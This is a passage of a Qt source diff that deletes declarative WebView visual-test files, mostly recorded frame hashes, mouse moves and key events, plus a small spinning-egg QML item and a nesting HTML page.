"67cefb4526b52d40a31811bc0dfaeb6a" - } - Frame { - msec: 1312 - hash: "fbe2a43a27bf490719c8b9e2b094e34f" - } - Frame { - msec: 1328 - hash: "e028aad6f51a47d8189efcf9c5d277ee" - } - Frame { - msec: 1344 - hash: "2b4cc50c37c07289fa6f9309991d36da" - } - Frame { - msec: 1360 - hash: "b67b2244cd0616d07e100d7b3b00bbe2" - } - Frame { - msec: 1376 - hash: "4e4690cffc98c49e91bdb600f1e94c79" - } - Frame { - msec: 1392 - hash: "e5215c727836a5547a170d42363bc5c8" - } - Frame { - msec: 1408 - hash: "26868e91d1794bb3f42d51f508fef613" - } - Frame { - msec: 1424 - hash: "1e5f431b125a66096ac9a4d5a211a2c4" - } -} diff --git a/tests/auto/declarative/visual/webview/embedding/egg.qml b/tests/auto/declarative/visual/webview/embedding/egg.qml deleted file mode 100644 index fe1bb70..0000000 --- a/tests/auto/declarative/visual/webview/embedding/egg.qml +++ /dev/null @@ -1,26 +0,0 @@ -import Qt 4.6 - -Item { - property var period : 250 - property var color : "black" - id: root - - Item { - x: root.width/2 - y: root.height/2 - Rectangle { - radius: width/2 - color: root.color - x: -width/2 - y: -height/2 - width: root.width*1.5 - height: root.height*1.5 - } - rotation: NumberAnimation { - from: 0 - to: 360 - repeat: true - duration: root.period - } - } -} diff --git a/tests/auto/declarative/visual/webview/embedding/nesting.html b/tests/auto/declarative/visual/webview/embedding/nesting.html deleted file mode 100644 index 6e81689..0000000 --- a/tests/auto/declarative/visual/webview/embedding/nesting.html +++ /dev/null @@ -1,9 +0,0 @@ - -Nesting - - - -

Nesting

-This is a test... - -... with a spinning QML egg nested in it. diff --git a/tests/auto/declarative/visual/webview/embedding/nesting.qml b/tests/auto/declarative/visual/webview/embedding/nesting.qml deleted file mode 100644 index 5e35306..0000000 --- a/tests/auto/declarative/visual/webview/embedding/nesting.qml +++ /dev/null @@ -1,9 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -WebView { - width: 300 - height: 200 - url: "nesting.html" - settings.pluginsEnabled: true -} diff --git a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.0.png b/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.0.png deleted file mode 100644 index 139aa9d..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.1.png b/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.1.png deleted file mode 100644 index e2e1644..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.2.png b/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.2.png deleted file mode 100644 index aa2fb82..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.3.png b/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.3.png deleted file mode 100644 index 1976430..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.4.png b/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.4.png deleted file mode 100644 index c895a0a..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.5.png b/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.5.png deleted file mode 100644 index c895a0a..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.6.png b/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.6.png deleted file mode 100644 index c895a0a..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.7.png b/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.7.png deleted file mode 100644 index c895a0a..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.8.png b/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.8.png deleted file mode 100644 index c895a0a..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.qml b/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.qml deleted file mode 100644 index 957f9d5..0000000 --- a/tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.qml +++ /dev/null @@ -1,3759 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 32 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 48 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 64 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 80 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 96 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 112 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 128 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 144 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 160 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 176 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 192 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 208 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 224 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 240 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 256 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 272 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 288 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 304 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 320 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 336 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 352 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 368 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 384 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 400 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 416 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 195; y: 25 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 187; y: 35 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 432 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 153; y: 77 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 448 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 145; y: 87 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 139; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 464 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 135; y: 111 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 129; y: 121 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 480 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 125; y: 131 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 121; y: 139 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 117; y: 149 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 496 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 111; y: 157 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 512 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 107; y: 165 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 101; y: 171 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 528 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 97; y: 177 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 95; y: 185 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 544 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 189 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 89; y: 195 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 560 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 85; y: 199 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 84; y: 201 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 576 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 83; y: 203 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 82; y: 204 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 81; y: 204 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 592 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 80; y: 204 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 608 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 79; y: 205 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 78; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 624 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 77; y: 207 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 76; y: 208 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 75; y: 210 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 640 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 71; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 656 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 70; y: 218 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 70; y: 220 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 672 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 69; y: 222 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 68; y: 224 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 688 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 67; y: 225 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 704 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 720 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 736 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 752 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 768 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 784 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 67; y: 225 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 800 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 66; y: 224 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 816 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 66; y: 222 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 832 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 65; y: 221 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 61; y: 217 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 848 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 60; y: 215 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 864 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 59; y: 214 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 57; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 880 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 55; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 896 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 912 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 928 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 944 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 960 - image: "evaluateJavaScript.0.png" - } - Frame { - msec: 976 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 992 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1008 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 55; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1024 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1040 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1056 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1072 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1088 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 55; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1104 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1120 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1136 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1152 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1168 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1184 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1200 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1216 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1232 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1248 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1264 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1280 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1296 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 57; y: 212 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 63; y: 210 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1312 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 65; y: 210 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 67; y: 209 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1328 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 69; y: 208 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 71; y: 207 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1344 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 73; y: 207 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 74; y: 206 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 75; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1360 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1376 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1392 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1408 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1424 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1440 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1456 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1472 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1488 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1504 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1520 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1536 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1552 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1568 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1584 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1600 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1616 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1632 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1648 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1664 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1680 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Frame { - msec: 1696 - hash: "f35c69aed43a795ff02b46d7b01ef64a" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 1712 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1728 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1744 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1760 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1776 - hash: "244200622435603a75f58366496daf8b" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 1792 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1808 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1824 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1840 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1856 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1872 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1888 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1904 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1920 - image: "evaluateJavaScript.1.png" - } - Frame { - msec: 1936 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1952 - hash: "244200622435603a75f58366496daf8b" - } - Frame { - msec: 1968 - hash: "244200622435603a75f58366496daf8b" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 1984 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2000 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2016 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2032 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2048 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 2064 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2080 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2096 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2112 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2128 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2144 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2160 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2176 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Frame { - msec: 2192 - hash: "44dc10a2914a391b57e68c2002a95adf" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 2208 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2224 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2240 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2256 - hash: "c93921d0611e95373338c14cfcc17481" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 2272 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2288 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2304 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2320 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2336 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2352 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2368 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2384 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2400 - hash: "c93921d0611e95373338c14cfcc17481" - } - Frame { - msec: 2416 - hash: "c93921d0611e95373338c14cfcc17481" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 2432 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2448 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2464 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2480 - hash: "9266775c7f2156977ff56fcd45246229" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 2496 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2512 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2528 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2544 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2560 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2576 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2592 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2608 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2624 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2640 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2656 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2672 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2688 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2704 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2720 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2736 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2752 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2768 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2784 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2800 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2816 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2832 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2848 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2864 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2880 - image: "evaluateJavaScript.2.png" - } - Frame { - msec: 2896 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2912 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2928 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2944 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2960 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2976 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 2992 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3008 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3024 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3040 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3056 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3072 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3088 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3104 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3120 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3136 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3152 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3168 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3184 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3200 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3216 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3232 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3248 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3264 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3280 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3296 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3312 - hash: "9266775c7f2156977ff56fcd45246229" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 74; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3328 - hash: "9266775c7f2156977ff56fcd45246229" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 72; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3344 - hash: "9266775c7f2156977ff56fcd45246229" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 70; y: 206 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 68; y: 206 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 65; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3360 - hash: "9266775c7f2156977ff56fcd45246229" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 63; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3376 - hash: "9266775c7f2156977ff56fcd45246229" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 61; y: 206 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 59; y: 206 - modifiers: 